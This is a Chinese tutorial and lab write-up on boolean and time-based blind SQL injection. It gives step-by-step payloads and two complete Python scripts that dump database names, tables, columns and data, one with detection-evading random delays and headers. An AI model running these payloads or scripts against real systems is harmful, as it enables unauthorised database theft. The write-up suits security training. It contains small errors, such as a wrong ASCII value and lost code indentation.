布尔盲注
原理
在进行SQL注入的时候,会遇到没有数据库返回值的情况,这个时候就需要去猜测每一个字段的内容,此时就需要用到盲注的手法。所谓布尔盲注就是利用true和false两个布尔值对所需要查询的内容进行猜测
常利用的函数
Length()#函数 返回字符串的长度
Ascii()#返回字符的ascii码
substr(str,start,length)#截取函数,str是要截取的字符串,start是开始的字符,lenth是截取的长度
left(str,length)#从字符串左边开始截取输入长度的字符串
right(str,length)#从字符串右边开始截取输入长度的字符串
构造payload的时候常用这几个函数
利用到的逻辑运算
True and False # 结果为 False
True or False # 结果为 True
not True # 结果为 False
适用情况与实操
比如下面这种情况,当get传参传入一个id=1时回显了,但是当输入id=1’和id=-1时没有任何回显,猜测闭合类型是单引号闭合
这里就可以看到,输入判断语句是有回显的,说明存在布尔盲注
利用长度判断函数发现大于7的时候有回显,大于8的时候没有回显,说明数据库长度为8
?id=1' and (length(database()))>7 --+
这里利用了and进行逻辑判断,只有判断为true的时候才会回显
接下来就开始猜测数据库,用二分法判断数据库ASCII码的范围
?id=1' and ascii(substr(database(),1,1))>115 --+
发现到大于115的时候回显消失,可以判断数据库第一个字符的ASCII码是114,对应s
以此类推判断出数据库的内容
?id=1' and ascii(substr(database(),2,1))>100--+ #判断第二个字符的ASCII码是101,对应e
…
最后进行8次判断,得到数据库的名称为sectrity
接下来查询表名
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100--+ #判断为e
这里用limit(0,1)来限定查询第一个表,依然跟第一步中查数据库名一样,去猜测表名的ASCII值,查到表名之后就接着查字段名,这里用其中一个表名users举例
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))>50--+ #判断为3
题后总结
布尔盲注总的来说就是在查询时利用判断逻辑返回的布尔值来猜测数据的盲注手法,要求有能够判断的回显内容,根据回显的内容来判断注入情况。
而且布尔盲注手工注入非常费时费力,可以用sqlmap去扫(没有灵魂)或者利用python脚本实现自动化注入
import requests
import time
import random
def sql_blind_boolian_based():
target_url = "http://example.com" # 目标URL
param_name = "id" # 注入参数
closure = "" # 闭合方式(单引号)
delay = 0.3 # 请求延迟(防检测)
timeout = 5 # 请求超时
# 自动检测的特征参数
true_condition = "query_success"
use_content_check = True # 是否使用内容检测
min_true_length = 100 # True时的最小响应长度
# Payload生成器
def generate_payload(query):
return f"1{closure} AND ({query})-- -"
# 增强版布尔判断
def check_condition(payload):
payload = generate_payload(payload)
params = {param_name: payload}
try:
# 添加浏览器特征头
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
}
response = requests.get(
target_url,
params=params,
headers=headers,
timeout=timeout
)
time.sleep(delay + random.uniform(0, 0.2)) # 随机延迟
# 双重验证机制
if use_content_check:
content_check = true_condition in response.text
else:
content_check = True
length_check = len(response.text) > min_true_length
return content_check and length_check
except Exception as e:
print(f"\n[!] 请求异常: {str(e)}")
return False
# 二分法字符猜解
def get_char(pos, query_template):
low = 32
high = 126
while low <= high:
mid = (low + high) // 2
payload = f"ASCII(SUBSTR(({query_template}),{pos},1))>{mid}"
if check_condition(payload):
low = mid + 1
else:
high_check = f"ASCII(SUBSTR(({query_template}),{pos},1))={mid}"
if check_condition(high_check):
return chr(mid)
high = mid - 1
return None
# 信息提取函数
def extract_data(query_template, desc):
result = ""
for i in range(1, 50):
char = get_char(i, query_template)
if not char:
break
result += char
print(f"\r[+] {desc}: {result}", end='', flush=True)
print()
return result
# 信息查询流程
def get_database():
return extract_data("SELECT DATABASE()", "当前数据库")
def get_tables():
return extract_data(
"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()",
"数据库表"
)
def get_columns(table):
return extract_data(
f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table}'",
f"{table}表的列"
)
def dump_data(table, column):
return extract_data(
f"SELECT GROUP_CONCAT({column}) FROM {table}",
f"{table}.{column}数据"
)
# 执行注入
print("\n=== SQLi-Labs Lesson 8 Exploit ===")
# Step 1: 获取数据库
db = get_database()
print(f"\n[+] 当前数据库: {db}")
# Step 2: 获取所有表
tables = get_tables().split(',')
print(f"[+] 发现数据表: {tables}")
# Step 3: 获取列名
for table in tables:
columns = get_columns(table).split(',')
print(f"[+] 表 {table} 的列: {columns}")
# Step 4: 导出数据
for col in columns:
data = dump_data(table, col)
print(f"[*] {table}.{col} => {data}")
if __name__ == "__main__":
sql_blind_boolian_based()
时间盲注
原理
在进行SQL注入攻击时不会直接回显内容,通过数据库响应时间的差异来推断信息,构造一个SQL语句,根据条件是否成立,触发数据库的延迟操作,如果条件为真,那么就执行延时操作。
涉及的函数
sleep(s) #休眠函数,通过休眠一定的时间来判断条件是否成立
benchmark(n,exp) #重复执行指定次数的指定操作的函数,例如进行很多次的md5加密操作来达到消耗服务器性能造成延时的效果
举例:
判断闭合方式
id=1 and if(1=1, SLEEP(5), 0)--+
如果为真就执行休眠函数,否则不执行,这时就可以根据回显时间来判断了
实操
判断注入点,发现无论是输入什么闭合符都没有回显,怀疑是盲注,由于没有任何回显,排除布尔盲注,利用时间盲注试一下发现sleep函数被执行了,说明存在时间盲注,闭合符为空
后面的payload基本都是基于布尔盲注,只是需要把根据布尔值判断改成是否有延迟来判断对错
查询数据库长度
id=1 and if(length(database())=4,sleep(5),0)--+
接下来就是用布尔盲注那一套去判断数据库名称
id=1 and if(ascii(substr(database(),1,1))>114,sleep(5),0)
最后判断下来发现数据库叫sqli,接下来就是先猜测表数
id=1 and if((select count(table_name) from information_schema.tables
where table_schema=database())=2,sleep(5),0)
发现有两张表接下来就是去判断表名了
id=1 and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>109,sleep(5),0)
然后就是重复这个过程,判断出第一张表为news,第二张表为flag
接着就是爆字段名
id=1 and if(ascii(substr((select column_name from information_schema.columns
where table_name='flag'),1,1))>101,sleep(5),0)
这里可以判断出来字段名也是flag,flag手搓的话太费时费力了,就去用脚本解决了
题后总结
时间盲注相对其他三种主流的注入方式来说比较少见,其原理也是依靠判断逻辑来判断是否正确,但是我觉得比布尔盲注麻烦得多。
也可以利用sqlmap来简化(没灵魂),或者利用脚本来解决
import requests
import sys
import time
session=requests.session()
url = "http://example.com/?id="
name = ""
for k in range(1,10):
for i in range(1,10):
print(i)
for j in range(31,128):
j = (128+31) -j
str_ascii=chr(j)
#数据库名
payolad = "if(substr(database(),%s,1) = '%s',sleep(1),1)"%(str(i),str(str_ascii))
#表名
#payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,str(str_ascii))
#字段名
#payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
start_time=time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name+=str_ascii
break
print(name)
#查询字段内容
for i in range(1,50):
print(i)
for j in range(31,128):
j = (128+31) -j
str_ascii=chr(j)
payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,str_ascii)
start_time = time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name += str_ascii
break
print(name)